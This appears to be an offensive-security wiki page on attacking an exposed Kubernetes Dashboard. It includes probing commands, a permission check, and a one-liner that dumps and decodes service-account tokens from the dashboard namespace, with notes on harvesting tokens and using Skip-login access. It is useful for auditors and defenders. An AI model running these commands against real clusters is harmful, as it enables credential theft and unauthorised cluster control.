Dashboard

The Kubernetes Dashboard acts with its own service account. Older deployments bound that account to cluster-admin and allowed skipping login, so a reachable dashboard gave full cluster control through the browser. Even current deployments are a target when exposed, since the dashboard's service account and any token entered into it drive the API server.

2분 분량2026년 10월 7일 업데이트florianamette기여자 1명
어시스턴트에게 묻기 (MCP)GitHub에서 편집

The Kubernetes Dashboard is a web UI that talks to the API server using a service account. Its danger is historical and configurational: early deployments bound the kubernetes-dashboard service account to cluster-admin and allowed a Skip button at the login screen, so anyone who reached the dashboard operated as cluster admin with no credential. Current versions require a token and ship with minimal rights, but a reachable dashboard is still a target, because whatever token a user pastes into it, or the service account it runs as, becomes the attacker's access when the UI is exposed.

Find and assess it:

bash
# the dashboard is a service, often exposed via NodePort or an ingress
curl -sk https://<node>:<nodeport>/ | grep -i dashboard
kubectl get svc -A | grep -i dashboard
# what can the dashboard's own service account do?
kubectl auth can-i --list --as=system:serviceaccount:kubernetes-dashboard:kubernetes-dashboard

Routes#

bash
# legacy: a Skip-login dashboard bound to cluster-admin => full control in-browser
#   open the dashboard URL, click Skip, operate as cluster-admin.
# modern: steal or reuse a token that has dashboard access, or read the
#   dashboard SA token if its RBAC is broad
kubectl -n kubernetes-dashboard get secret -o json | \
  python3 -c 'import sys,json,base64;[print(base64.b64decode(s["data"].get("token","")).decode()[:60]) for s in json.load(sys.stdin)["items"] if "token" in s.get("data",{})]'

Exploitation notes#

  • The first check is the dashboard service account's permissions; if it is bound to cluster-admin (the legacy default of some installs), reading or using its token is immediate full control.
  • A Skip-login option on an exposed dashboard is an instant win; it drops you into the UI as the dashboard service account.
  • When exposed via NodePort or ingress without authentication in front, the dashboard is reachable from outside the cluster; treat an exposed dashboard as a credential-handling surface and harvest any token it uses.

References#